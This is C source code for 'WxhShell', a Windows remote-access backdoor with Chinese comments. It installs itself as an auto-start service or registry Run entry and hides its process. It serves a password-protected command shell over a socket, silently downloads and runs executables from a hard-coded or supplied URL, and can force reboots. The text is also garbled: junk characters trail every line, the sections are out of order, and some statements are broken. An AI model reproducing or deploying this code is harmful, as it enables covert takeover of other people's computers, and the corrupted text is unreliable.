    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U_{Ux 2  
    if(Boot(SHUTDOWN)) <!pvqNApg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <bD>m[8,  
    else { EVNY*&p  
    closesocket(wsh); 56Vb+0J'  
    ExitThread(0); +a*^{l}AST  
    } <dvy"Dx   
    break; =lVK IW  
    } +|ycvHd  
  // 获取shell _BDK`D  
  case 's': { +tD[9b! m  
    CmdShell(wsh); wW%4d  
    closesocket(wsh);  *tAg*$  
    ExitThread(0); O1`9Y}G(r  
    break; ?Sb8@S&J  
  } "hdvHUz  
  // 退出 ~wVd$%7`  
  case 'x': { 9,^_<O@Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y!T %cTK)a  
    CloseIt(wsh); MX ;J5(Ae  
    break; FEJ~k1z  
    } EMc;^ d  
  // 离开 DK oN}c  
  case 'q': { "kA*Vc#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O/!bG~\Y  
    closesocket(wsh); Tr#V*.x  
    WSACleanup(); 5P'p2x#U  
    exit(1); 3ux0 Jr2yT  
    break; :hI@AA>g  
        } QzAK##9bfa  
  } =dx1/4bZl|  
  } ykFJ%sw3X  
%/rMg"f:  
  // 提示信息 V._(q^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ii:>xuF&  
} {iq3|x2[:  
  } t>uN'oCyC  
a<h1\ `H7  
  return; y7|P-3[ 4w  
} 0{j&6I2  
f +hjC  
// shell模块句柄 8Y#\xzod  
int CmdShell(SOCKET sock) DU=dLE6-P;  
{ Tc+gdo>G  
STARTUPINFO si; M BXBog7U  
ZeroMemory(&si,sizeof(si)); XJ Iv1s\g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .&x}NYX4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]K*8O <  
PROCESS_INFORMATION ProcessInfo; sQ 8s7l0D  
char cmdline[]="cmd"; 7 K{Nb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G5FaYL.7  
  return 0; ZKdeB3D  
} gp-T"l  
nIvJrAm4k  
// 自身启动模式 Z'k|u4ZC  
int StartFromService(void) U bYEEY#  
{ g(| 6~}|o+  
typedef struct  PTS]7  
{ x[Wwq=~  
  DWORD ExitStatus; 7jJbo]&  
  DWORD PebBaseAddress; =GXu 5 8  
  DWORD AffinityMask; aIXdV2QS  
  DWORD BasePriority; )$Z=t-q  
  ULONG UniqueProcessId; sk|=% }y  
  ULONG InheritedFromUniqueProcessId; )aX2jSp  
}   PROCESS_BASIC_INFORMATION; v<9&B94z  
Cz8f1suO4  
PROCNTQSIP NtQueryInformationProcess; )=DGdI Et  
Z,X'-7YkU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -`Y :~q1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \-*eL;qP  
wI5Yn h  
  HANDLE             hProcess; YQ0)5}  
  PROCESS_BASIC_INFORMATION pbi; ~j'l.gQb  
"p3_y`h6+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9TAj) {U%'  
  if(NULL == hInst ) return 0; SI6B#u-i  
')N{wSM9Ft  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A$WZF/x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~xIj F1Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hp|}~xjn  
v0Ir#B,[H  
  if (!NtQueryInformationProcess) return 0; 28OWNS M=  
:5yV.7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %AW4.3()8  
  if(!hProcess) return 0; n$:IVX"2b  
"+uNmUUnm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ap$y%6  
BtY%r7^o  
  CloseHandle(hProcess); /Ky__l!bu  
5%}wV,Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1w"8~Z:UXV  
if(hProcess==NULL) return 0; g`>og^7g  
R3X{:1{j  
HMODULE hMod; {w <+_++  
char procName[255]; J# kl 7  
unsigned long cbNeeded; vJ`.iRU|  
;<Km 3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x|KWyfOS  
|([R'Orm  
  CloseHandle(hProcess); /1`cRyS  
}!TL2er_  
if(strstr(procName,"services")) return 1; // 以服务启动 Bg8#qv  
z 5]bia,  
  return 0; // 注册表启动 %/.a]j!  
} ,pBh`av  
T$= 4O9G  
// 主模块 Q7bq  
int StartWxhshell(LPSTR lpCmdLine) pA4*bO+  
{ ]h9!ei [  
  SOCKET wsl; QjPj[c  
BOOL val=TRUE; $t-n'Qh^2  
  int port=0; \b*X:3g*  
  struct sockaddr_in door; ^S#t|rN  
G9g6.8*&  
  if(wscfg.ws_autoins) Install(); },[;O^Do^{  
Pj?Dmk~   
port=atoi(lpCmdLine);  st 'D  
gf)t)-E  
if(port<=0) port=wscfg.ws_port; j 6ut}Uq  
B%\gkl  
  WSADATA data; 5HS~op2n/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k8]O65t|  
=i HiPvP0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fd\ e*ww'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A4mSJ6K]  
  door.sin_family = AF_INET; gX5&d\y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z{]?h cY  
  door.sin_port = htons(port); n +1y  
Qju`e Eo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V^il$'  
closesocket(wsl); -p-0;Hy  
return 1; ->lu#; A5  
} H g5++.Bp  
e1q"AOV6  
  if(listen(wsl,2) == INVALID_SOCKET) { R \s!*)  
closesocket(wsl); nF)uTk  
return 1; [XlB<P=|>  
} "'Z- UV  
  Wxhshell(wsl); [*m2  
  WSACleanup(); 4QJ8Z t  
] q~<=   
return 0; P|jF6?C  
=GR 'V  
} o{-<L  
8n?kZY$,  
// 以NT服务方式启动 iz"3\{aN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (!?K7<Jv  
{ _2vd`k  
DWORD   status = 0; H' J|U|  
  DWORD   specificError = 0xfffffff; %1:chvS  
'q%%m/,VPQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ps R>V)L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Cef:tdk7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #< CIFVH  
  serviceStatus.dwWin32ExitCode     = 0; BC\S/5~k  
  serviceStatus.dwServiceSpecificExitCode = 0; l!IKUzt)7  
  serviceStatus.dwCheckPoint       = 0; 99iUOw c  
  serviceStatus.dwWaitHint       = 0; hh.Q\qhubB  
#-cTc&$O;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *9gD*AnM,  
  if (hServiceStatusHandle==0) return; gY9\o#)<  
sY;lt.b  
status = GetLastError(); J7i+c];!<  
  if (status!=NO_ERROR) D>wZ0p b-  
{ R21~Q:b !  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u@.>WHQN  
    serviceStatus.dwCheckPoint       = 0; VS/;aG$&y  
    serviceStatus.dwWaitHint       = 0; PK rek  
    serviceStatus.dwWin32ExitCode     = status; $R^lo $(  
    serviceStatus.dwServiceSpecificExitCode = specificError; #2%([w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M2T|"Q"=  
    return; nwM)K  
  } NO>k  
W."f 8ow  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -)w]a{F  
  serviceStatus.dwCheckPoint       = 0; .`C V^\  
  serviceStatus.dwWaitHint       = 0; 8V5a%2eV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ( v#pj8aE  
} Rs$5PdH  
(a{ZJI8_  
// 处理NT服务事件,比如:启动、停止 >xd<YwXZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0\a8}b||  
{ [N|xzMe  
switch(fdwControl) {0's~U+@  
{ g*-2* \  
case SERVICE_CONTROL_STOP: N\R=cwk  
  serviceStatus.dwWin32ExitCode = 0; Rrqg[F+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kR6A3?[  
  serviceStatus.dwCheckPoint   = 0; F!8=FTb  
  serviceStatus.dwWaitHint     = 0; ^ @.G,u  
  { Gq]d:-7l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]h~o],:  
  } D[>W{g $  
  return; ^9ng)  
case SERVICE_CONTROL_PAUSE: 2@MN]Low  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Jgi Iq  
  break; (@ ]tG?I=  
case SERVICE_CONTROL_CONTINUE: H=. K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hq xK\m%,.  
  break; am:.NG+  
case SERVICE_CONTROL_INTERROGATE: 5}a"?5J^  
  break; \f"?Tv-C'  
}; N8+P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,k*F`.[  
} 4MX7=!E  
x N`T  
// 标准应用程序主函数 $A?}a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) En5!"w|j  
{ KU2$5[~j  
fI11dE9&?[  
// 获取操作系统版本 1VfSSO  
OsIsNt=GetOsVer(); #pu}y,QN$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o =9'  
YsAF{  
  // 从命令行安装 k|#Zy,  
  if(strpbrk(lpCmdLine,"iI")) Install(); #?m{YT{P  
-2lRia  
  // 下载执行文件 *ro.mQ_  
if(wscfg.ws_downexe) { 3A R%&:-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ){tPP$-i=  
  WinExec(wscfg.ws_filenam,SW_HIDE); |s`Kd-'|q  
} ?L`ZKRD  
K^ 6+Ily  
if(!OsIsNt) { v>at/ef  
// 如果时win9x,隐藏进程并且设置为注册表启动 v*L '{3f  
HideProc(); NW De-<fQ  
StartWxhshell(lpCmdLine); eycV@|6u*  
} jYdV?B  
else ;](h2Z`3s  
  if(StartFromService()) #>q[oie1e  
  // 以服务方式启动 W uf/LKj  
  StartServiceCtrlDispatcher(DispatchTable); 2v\W1VF  
else 9Dq.lr^  
  // 普通方式启动 U_*3>Q  
  StartWxhshell(lpCmdLine); yqBa_XPV8  
l"L+e!B~  
return 0; KnFQ)sX^  
} 73pC  
yfq>,  
yjeL9:jH[  
q u:To7  
=========================================== %Qd3BZ  
ZeTL$E[E}  
FF@`+T  
(j=DD6fC  
hfh.eL  
x3;jWg~'  
" s7|3zqi  
R2Yl)2 D  
#include <stdio.h> ni0LQuBp  
#include <string.h> Y^5"qd|`  
#include <windows.h> x-4J/tm  
#include <winsock2.h> LT(?#)D  
#include <winsvc.h> TMY{OI8a  
#include <urlmon.h> >D3z V.R  
5U;nhDmM  
#pragma comment (lib, "Ws2_32.lib") 5m 3'Gt4  
#pragma comment (lib, "urlmon.lib") /Tcb\:`9  
FpC~1Nau  
#define MAX_USER   100 // 最大客户端连接数 k -]xSKG  
#define BUF_SOCK   200 // sock buffer zf7rF}  
#define KEY_BUFF   255 // 输入 buffer [,nfAY  
J=V yyUB  
#define REBOOT     0   // 重启 2 mq%|VG'  
#define SHUTDOWN   1   // 关机 QqjTLuN  
?N2X)Y@yi  
#define DEF_PORT   5000 // 监听端口 /KP_Vc:g2_  
!?n50  
#define REG_LEN     16   // 注册表键长度 1)gv%_  
#define SVC_LEN     80   // NT服务名长度 +/}_%Cf8  
7p !zp9|  
// 从dll定义API H-m`Dh5{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &]*|6cR$E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aa!a&L|!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }JH`' &3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *XOS.$zGz  
B%y! aQep  
// wxhshell配置信息 i&1U4q  
struct WSCFG { 8k%H[Smn:  
  int ws_port;         // 监听端口 gTuX *7w  
  char ws_passstr[REG_LEN]; // 口令 XX:q|?6_ 4  
  int ws_autoins;       // 安装标记, 1=yes 0=no V-:`+&S{^  
  char ws_regname[REG_LEN]; // 注册表键名 9kUV1?  
  char ws_svcname[REG_LEN]; // 服务名 Gzj3Ka  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &R0OeRToUb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;h~?ko  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LEA;dSf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &E`9>&~J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GP Ix@k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tgK x4  
+RdI;QmM  
}; -t%L#1k  
CR.bMF}  
// default Wxhshell configuration `M,Nd'5&|  
struct WSCFG wscfg={DEF_PORT, ~X[S<Gi#  
    "xuhuanlingzhe", jJ*=Ghu-  
    1, B0S8vU  
    "Wxhshell", N]V/83_  
    "Wxhshell", >|5XaaDa  
            "WxhShell Service", xdCs5ko  
    "Wrsky Windows CmdShell Service", 5UPPk$8 `  
    "Please Input Your Password: ", (UXv,_"nU  
  1, \N4d_ fPj  
  "http://www.wrsky.com/wxhshell.exe", `)LIVi"(D  
  "Wxhshell.exe" /XjN%|  
    }; vB=;_=^i 1  
{$3j/b  
// 消息定义模块 u1wg C#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kz$(V(k<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >QA/Mi~R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p[_Yi0U  
char *msg_ws_ext="\n\rExit."; i+U@\:=  
char *msg_ws_end="\n\rQuit."; Ko@zk<~"[  
char *msg_ws_boot="\n\rReboot..."; +tPx0>p;  
char *msg_ws_poff="\n\rShutdown..."; *ZX!EjICk  
char *msg_ws_down="\n\rSave to "; OA!R5sOz"  
vP-3j  
char *msg_ws_err="\n\rErr!"; VPdwSW[eM  
char *msg_ws_ok="\n\rOK!"; @pTD{OW?  
SHytyd  
char ExeFile[MAX_PATH]; Q +R3H,  
int nUser = 0; *O!T!J  
HANDLE handles[MAX_USER]; >pN;J)H  
int OsIsNt;  7N!tp,?  
_w\Y{(k  
SERVICE_STATUS       serviceStatus; q"P5,:W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _s2m-jm7  
{ ( _B  
// 函数声明 H\ {E%7^h-  
int Install(void); fm[_@L% x  
int Uninstall(void); v/]Qq  
int DownloadFile(char *sURL, SOCKET wsh); l t&$8jh  
int Boot(int flag); OTnu{<.a  
void HideProc(void); %3ou^mcj  
int GetOsVer(void); 7s0)3HR}  
int Wxhshell(SOCKET wsl); z7| s%&  
void TalkWithClient(void *cs); |*Of^IkG0  
int CmdShell(SOCKET sock); -m E  
int StartFromService(void);  { VS''Lv  
int StartWxhshell(LPSTR lpCmdLine); hEVjeC  
bcUC4g\9N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qPL^zM+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r9+E'\  
H&~5sEGa  
// 数据结构和表定义 ]z+*?cc  
SERVICE_TABLE_ENTRY DispatchTable[] = ROPC |  
{ PbbXi  
{wscfg.ws_svcname, NTServiceMain}, |= tJ|  
{NULL, NULL} iTj"lA  
}; v<{wA`'R+  
A Z]P+v  
// 自我安装 -08&&H  
int Install(void) pp*bqY  
{ aJEbAs}  
  char svExeFile[MAX_PATH]; AD~~e% s=  
  HKEY key; 5{8x*PSl  
  strcpy(svExeFile,ExeFile); JmnBq<&,0  
|\i:LG1  
// 如果是win9x系统,修改注册表设为自启动 V"w`!  
if(!OsIsNt) { | De!ti  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }pbBo2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^2C0oX  
  RegCloseKey(key); DZ%g^DRZX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nYI/&B{p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oq=?i%'>  
  RegCloseKey(key); sKe9at^E]>  
  return 0; `Ev A\f  
    } NFrNm'v  
  } A2}Z *U(;  
} |h#DL$  
else { JZs|~@  
%KbBH:z05  
// 如果是NT以上系统,安装为系统服务 t-.2 +6"\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dE 3i=  
if (schSCManager!=0) I;`Ko_i  
{ "bHtf_  
  SC_HANDLE schService = CreateService ~AEqfIx*^&  
  ( L4\SB O  
  schSCManager, &&]"Y!r -  
  wscfg.ws_svcname, =-OCM*5~S  
  wscfg.ws_svcdisp, t}5'(9  
  SERVICE_ALL_ACCESS, "[%;B0J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZAI1p+  
  SERVICE_AUTO_START, 2neF<H?^o  
  SERVICE_ERROR_NORMAL, >P<k[vF  
  svExeFile, A8_\2'b  
  NULL, kS@9c _3S  
  NULL, I>A^5nk  
  NULL, `f\5p+!<7R  
  NULL, =XZF.ur  
  NULL R=][>\7]}  
  ); Qh)|FQ[s$r  
  if (schService!=0) !L &=?CX  
  { Zp/qs z(]  
  CloseServiceHandle(schService); ^2&O3s  
  CloseServiceHandle(schSCManager); O!#L#u53  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wQF&GGY R  
  strcat(svExeFile,wscfg.ws_svcname); <7vIh0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ",MK'\E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  aX>4Tw  
  RegCloseKey(key); ?)A]q' O  
  return 0; "o\6k"_c>  
    } G=r(SJq  
  } Gk{ "O%AE  
  CloseServiceHandle(schSCManager); 4 +da  
} ]7#^])>  
} LV}UBao5n  
n4ds;N3Hd  
return 1; X";QA":  
} ^yn[QWFO  
'0'"k2"vC  
// 自我卸载 \j,v/C@c-  
int Uninstall(void) 0Zc*YdH  
{ v`z=OHc  
  HKEY key; z4%Z6Y  
1A|x$j6m  
if(!OsIsNt) { afxj[;p!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zxk??0] /  
  RegDeleteValue(key,wscfg.ws_regname); %4|n-`:  
  RegCloseKey(key); _'?8s6 H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hO+O0=$}wN  
  RegDeleteValue(key,wscfg.ws_regname); -(4E  
  RegCloseKey(key); |x _ -I#H  
  return 0; _|^&eT-u  
  } d&[M8(  
} J[<D/WIH  
} ;55tf l  
else { wu&|~@_s@  
'T&=$9g7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ? e9XVQ*  
if (schSCManager!=0) P+*rWJ8gQ  
{ !Zk%P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f^[{k {t  
  if (schService!=0) bMK#^ZoH  
  { =\ti<  
  if(DeleteService(schService)!=0) { "6I-]:K-  
  CloseServiceHandle(schService); g6[/F-3Qlf  
  CloseServiceHandle(schSCManager); 9a"Y,1  
  return 0; )$gsU@H -  
  } oP|pOs\$p  
  CloseServiceHandle(schService); -7Aw s)  
  } a0V8L+v(  
  CloseServiceHandle(schSCManager); 'b=eC  
} < tu[cA>  
} '?vgp  
1A`?y& Ll  
return 1; ~n8*@9[  
} Up /eV}C  
RAD4q"}k  
// 从指定url下载文件 #o;CmB  
int DownloadFile(char *sURL, SOCKET wsh) q[y,J  
{ s0`|G|.}  
  HRESULT hr; ={mPg+Ei'  
char seps[]= "/"; j &0fC!k  
char *token; =E"kv!e   
char *file; |`q)/ 08b  
char myURL[MAX_PATH]; .^)C:XiW  
char myFILE[MAX_PATH]; LAK-!!0X  
@??c<]9F  
strcpy(myURL,sURL); }0Kqy;  
  token=strtok(myURL,seps); 2 d>d(^  
  while(token!=NULL) :YRzI(4J  
  { U!;aM*67  
    file=token; "dLMBY~  
  token=strtok(NULL,seps); Q[ 9rA  
  } ,/w852|ub  
[F AOp@7W  
GetCurrentDirectory(MAX_PATH,myFILE); u]]5p[ |S  
strcat(myFILE, "\\"); [)J49  
strcat(myFILE, file); Vlp*'2VO  
  send(wsh,myFILE,strlen(myFILE),0); [MQJ71(3  
send(wsh,"...",3,0); [o[v"e\w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;)= zvr17  
  if(hr==S_OK) |4p<T! T  
return 0; )/+eL RN5G  
else ?,i#B'Z^  
return 1; sS1J.R  
o7 @4=m}  
} 9 .&Or4>  
:,}:c%-^"  
// 系统电源模块 nuQLq^e  
int Boot(int flag) ik1L  
{ R.2KYhp ,  
  HANDLE hToken; rmg";(I  
  TOKEN_PRIVILEGES tkp; |S>J<]H p  
?{.b9`  
  if(OsIsNt) { 8x^H<y=O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mtWx ?x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v_@#hf3  
    tkp.PrivilegeCount = 1; 3R:7bex  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y;> p)'z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g]@R'2:1  
if(flag==REBOOT) { Cs1%g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Nz>E#.++  
  return 0; a`@<ZsR  
} jB/q1vFO  
else { vRb(eg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o+)LcoP u  
  return 0; (;Q <@PZg  
} &6|^~(P?  
  } {HRxyAI!  
  else { dl7p1Cr  
if(flag==REBOOT) { *F8 uu.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C!/8e (!N  
  return 0; `i>B|g-  
} ^?^|Y?f2P?  
else {  I^(o3B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vg [5bJ5  
  return 0; 4G;`KqR@  
} dS;|Kl[Om  
} c9g\7L,Z  
y/sWy1P7  
return 1; Y^*$PED?  
} ?D )qgH  
1TxhEXB  
// win9x进程隐藏模块 AZ]SRz9mKY  
void HideProc(void) ]-s`#  
{ _9O }d  
i2ml[;*,N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _qzo):G.s  
  if ( hKernel != NULL ) 4Tzu"y  
  { 9 K /  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %wjU^Urya  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TNPGw!  
    FreeLibrary(hKernel); FO'. a  
  } ZV<y=F*~f  
Ff#N|L'9_  
return; fN*4(yw  
} ubCJZ"!  
aXK%m  
// 获取操作系统版本 EPd.atA  
int GetOsVer(void) U5ud?z()OA  
{ f s"V'E2a  
  OSVERSIONINFO winfo; p_40V%y^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ah6F^Kpl{  
  GetVersionEx(&winfo); f?<M3P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $ E~Lu$|  
  return 1; gmAKW4(  
  else z#E,96R  
  return 0; NW>:Lz ?"  
} 08jUVHdt  
2|NyAtPb5  
// 客户端句柄模块 QsF<=b~  
int Wxhshell(SOCKET wsl) \FY De  
{ XOU-8;d  
  SOCKET wsh; eg~^wi  
  struct sockaddr_in client; q}A3"$-F  
  DWORD myID; +q=jB-eIx  
"$"mWF-  
  while(nUser<MAX_USER) <$3nD b-  
{ . ;@) 5"  
  int nSize=sizeof(client); U#1yl6e\I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &lfF!   
  if(wsh==INVALID_SOCKET) return 1; cp?P@-  
z?_}+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0_zSQn9c  
if(handles[nUser]==0) qF6%XKbh=  
  closesocket(wsh); =cKk3kJC  
else C<=p"pWw  
  nUser++; [Z G j7  
  } .Zt/e>K&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0JRB Nh  
Vq7 kA "  
  return 0; A`/7>'k/q[  
} BMj&*p8R  
]<_!@J6k  
// 关闭 socket ;WAu]C|  
void CloseIt(SOCKET wsh) _ktSTzH0  
{ ?d#(ian  
closesocket(wsh); ?'#;Y"RT  
nUser--; U)%u`C0  
ExitThread(0); Jsnmn$C  
} [[DFEvOEh  
3@ukkO)   
// 客户端请求句柄 `V_/Cz_}D  
void TalkWithClient(void *cs) :3*oAh8|  
{ %mv x}xV  
+~k,4  
  SOCKET wsh=(SOCKET)cs; z iGL4c0p  
  char pwd[SVC_LEN]; l45F*v]^  
  char cmd[KEY_BUFF]; i&Cqw~.H  
char chr[1]; \*"0wR;[K  
int i,j; 4sE=WPKF#  
-^ ayJ73  
  while (nUser < MAX_USER) { WIl S^?5I<  
J& SuUh<  
if(wscfg.ws_passstr) { z}N^`_ *  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &J@ZF<Ib  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yWk:u 5  
  //ZeroMemory(pwd,KEY_BUFF); C)^\?DH  
      i=0; vCo}-b-j  
  while(i<SVC_LEN) { VzM@DM]=~  
vgZPDf|  
  // 设置超时 ghQsS|)p.  
  fd_set FdRead; 0 S8{VZpy  
  struct timeval TimeOut;  !3M!p&  
  FD_ZERO(&FdRead); 95&sFT C  
  FD_SET(wsh,&FdRead); 4GejT(U  
  TimeOut.tv_sec=8; 4i&!V9@:  
  TimeOut.tv_usec=0; pR7G/]U$A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z:gsguX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AG%es0D[H  
{cHTg04  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EMH}VigR  
  pwd=chr[0]; tl^;iE!-  
  if(chr[0]==0xd || chr[0]==0xa) { c+XR  
  pwd=0; W]7?;#Hpk  
  break; /!8:/7r+W  
  } UiN ^x  
  i++; by ee-BU  
    } F+-MafN7Y  
s_?* R  
  // 如果是非法用户,关闭 socket ,qh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [~JN n  
} }slEkpk? ]  
'~=xP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ky"7 ^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fb=vO U  
>(Ddw N9l  
while(1) { jXva ?_  
gz:c_HJ  
  ZeroMemory(cmd,KEY_BUFF); mM~Q!`Nf.  
@d9*<>@:  
      // 自动支持客户端 telnet标准   2uB26SEIl  
  j=0; U.)eJ1a  
  while(j<KEY_BUFF) { u-cC}DP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tXGcwoOB  
  cmd[j]=chr[0]; ECfY~qK  
  if(chr[0]==0xa || chr[0]==0xd) { Ok"wec+,  
  cmd[j]=0; 9uo\&,,  
  break; 7En~~J3  
  } ]qQB+]WN  
  j++; Fd0FG A&L  
    } ,FPgs0rrS  
!LESRh?  
  // 下载文件 ~$ Yuxo  
  if(strstr(cmd,"http://")) { p`C5jfI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 05DtU!3O  
  if(DownloadFile(cmd,wsh)) ]sIFK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]z@]Fi33Y  
  else R|yTUGY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HM x9M$  
  } h<jIg$rA  
  else { of<OOh%3  
DvKMb-*S  
    switch(cmd[0]) { C u5 - w  
